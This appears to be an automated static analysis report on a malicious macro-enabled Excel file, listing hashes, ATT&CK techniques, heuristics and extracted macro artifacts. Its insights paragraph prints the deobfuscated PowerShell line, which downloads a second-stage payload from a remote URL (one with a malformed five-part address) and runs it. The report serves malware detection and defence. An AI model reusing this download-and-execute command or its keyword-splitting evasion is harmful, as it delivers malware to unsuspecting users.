Malicious Office (OOXML) / .XLSM — malware analysis report

Static analysis result for SHA-256 81dc79b21940ab4d…

MALICIOUS

Office (OOXML) / .XLSM

389.8 KB Created: 2020-01-28 19:47:00 UTC Authoring application: Microsoft Excel 15.0300
MD5: cf4c3f1e0953167d484fb25ac961db42 SHA-1: d946a7e52728e50d6013a65bc0eb008b42b83787 SHA-256: 81dc79b21940ab4d94fb07cdfc337eaf3879fc4a7ad4eb71751f3c0eaa41061b
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an XLSM file containing VBA macros. The Workbook_Activate subroutine constructs and executes a PowerShell command. This command is obfuscated using string concatenation and Base64 encoding, but reconstructs to: 'New-Object System.Net.WebClient).DownloadFile("http://3.64.2.251.93/vr/r/QA4ytUqTD2dtNQDS5NE5.pe", "$env:APPDATA\ProCamName") ; Start-Process -Proc "$env:APPDATA\ProCamName"'. This indicates the macro's purpose is to download and execute a second-stage payload from the specified URL. The use of PowerShell and the download/execute pattern are common for malware droppers.

Heuristics 6

  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • External hyperlinks (6) low OOXML_EXTERNAL_HYPERLINKS
    Document contains 6 external hyperlinks — clickable URLs are stored as external relationships. First target: https://go.microsoft.com/fwlink/?linkid=844736
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://go.microsoft.com/fwlink/?linkid=844736
    • http://go.microsoft.com/fwlink/?LinkId=844969
    • https://go.microsoft.com/fwlink/?linkid=844749
    • https://go.microsoft.com/fwlink/?linkid=844741
    • https://go.microsoft.com/fwlink/?linkid=844732
    • https://go.microsoft.com/fwlink/?linkid=844725
    • https://go.microsoft.com/fwlink/?linkid=844742
    • https://go.microsoft.com/fwlink/?linkid=844734
    • https://go.microsoft.com/fwlink/?linkid=844751
    • https://go.microsoft.com/fwlink/?linkid=844745
    • https://go.microsoft.com/fwlink/?linkid=844743
    • https://go.microsoft.com/fwlink/?linkid=844728
    • https://go.microsoft.com/fwlink/?linkid=844746
    • https://go.microsoft.com/fwlink/?linkid=844747
    • https://go.microsoft.com/fwlink/?linkid=844726
    • https://go.microsoft.com/fwlink/?linkid=844738
    • https://go.microsoft.com/fwlink/?linkid=844735
    • https://go.microsoft.com/fwlink/?linkid=844750
    • http://go.microsoft.com/fwlink/?LinkId=846285

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
2566a0284c2f239675e22fd1df36056acd4898f037a13a2bbb30a27c917ad9d2		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5984 bytes
vbaProject_00.bin
ef192ac6351ac0a356278f4a3cb15640501582beb55ce831cda19c803229bfb6		 vba-project OOXML VBA project: xl/vbaProject.bin 10752 bytes

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